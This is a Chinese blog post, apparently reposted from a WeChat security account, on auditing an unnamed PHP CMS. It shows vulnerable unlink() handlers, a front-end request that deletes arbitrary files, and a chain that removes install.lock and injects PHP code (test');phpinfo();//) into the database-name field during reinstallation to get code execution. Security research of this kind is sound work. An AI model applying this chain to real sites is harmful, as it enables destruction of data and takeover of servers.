目录
前言
最近投了一些白盒审计的岗位,于是想着多看看代码,训练一下审计能力,本篇主要分享思路,至于关于系统的详细信息,文章就不大肆标注了。
下面是前段时间总结的关于“重装漏洞 -> RCE”的审计思路
-
安装完成后,没有删除install相关文件,也没有对安装状态进行校验
-
判断存在lock文件后,但是并没有代码执行流程并没有结束
-
存在lock文件,且代码执行流程退出,此时可以打组合拳(任意文件删除)
文章的漏洞属于第三种。
漏洞挖掘
定向漏洞挖掘-任意文件删除
-
全局搜索 unlink(
在该cms中一共存在5处疑似存在漏洞的代码段,特征为
-
unlink(
-
参数可控
1. /app/controller/picture.class.php
public function deletePic() {
$path = ROOT_PATH.$_GET['pic'];
unlink($path);
$flash = M("flash");
$row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
echo '删除成功';
}
2. /plugins/flash/Main.class.php
public function flashDelPic() {
$flash = M("flash");
echo($flash);
$flash->query("delete from tc_flash where photo='".$_GET['delPath']."'");
$path =$_GET['delPath'];
$delPath = $path;
if (file_exists($delPath)) {
unlink($delPath);
exit(1);
}
exit(0);
}
3. appcontrollerkindeditor.class.php
public function delete() {
$path = ROOT_PATH.$_GET['pic'];
unlink($path);
$flash = M("flash");
$row = $flash->query("delete from tc_flash where photo='".$_GET['pic']."'");
echo '删除成功';
}
4. /app/admin/picture.class.php
<?php
defined('IN_ADMIN') or exit('Access Denied');
defined('xxxx_CMS') or exit('Access Denied');
public function deletePic() {
$path = ROOT_PATH.$_GET['pic'];
unlink($path);
$flash = M("flash");
$row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
echo '删除成功';
}
5. /app/admin/download.class.php
<?php
defined('IN_ADMIN') or exit('Access Denied');
defined('xxxx_CMS') or exit('Access Denied');
...
public function deletePic() {
$path = ROOT_PATH.$_GET['pic'];
unlink($path);
$flash = M("attachment");
$row = $flash->query("delete from ".TABLEPRE."attachment where filepath='".$_GET['pic']."'");
echo '删除成功';
}
对于现役安服仔的我来说,肯定还是比较热衷于前台洞的,但是有些情况下,拿到后台权限也可能最多刷个弱口令,这时候后台洞带来的效果也是不容小觑的。
所以上面存在漏洞的代码段也主要分为
-
前台
-
后台
文件入口处判断了是否为admin
文件入口处没有校验权限
漏洞利用
当从代码层面找到漏洞后,怎样去触发漏洞也很重要的,我刚开始学代码审计的时候,就是很确定这儿有洞,但是就是不知道怎么触发它,现在总结其原因很简单:还是审的量不够,没到质变引起量变的那一步,就像上次团队的师傅给我的建议一样,"你看得太少了,技术栈太窄"。
面对mvc框架的系统,看看它的开发手册,了解到它的路由是怎样实现的对构造payload就差不多了。
该系统的路由
# 控制器_方法,get或post传参
index.php?ac=controller_method¶m1=¶m2=
构造payload
# 这里主要测试前台洞
index.php?ac=picture_deletePic&pic=/x.txt
俗话说“不想当将军的士兵不是好士兵”,那么“不能getshell的洞也不是好洞”👀
关于漏洞任意文件删除拿shell的姿势, 目前我了解到比较成熟的有3种
-
删除install.lock, 重装getshell
-
删除my.php这类的数据库配置文件,重装getshell
-
删除权限校验文件,组合需权限的文件上传漏洞getshell
这里属于第一种,需要关注两个文件
-
/app/data/install.lock
-
决定是否能重装
-
/app/data/mysql.php
-
决定是否能getshell
首先看一下数据库配置文件
发现数据库名“DBNAME”应该就是我们需要找的软柿子了
闭合情况
define('DBNAME', 'test');phpinfo();//;
来到输入数据库配置信息的安装步骤,填入payload
test');phpinfo();//
触发插入的payload(访问会加载mysql.php的文件即可)
小结
该系统还存在一些其他的洞,还在继续看,尝试构造出bug —> rce的完整链路。
本文始发于微信公众号(don9sec):CMS审计: 任意文件删除->RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论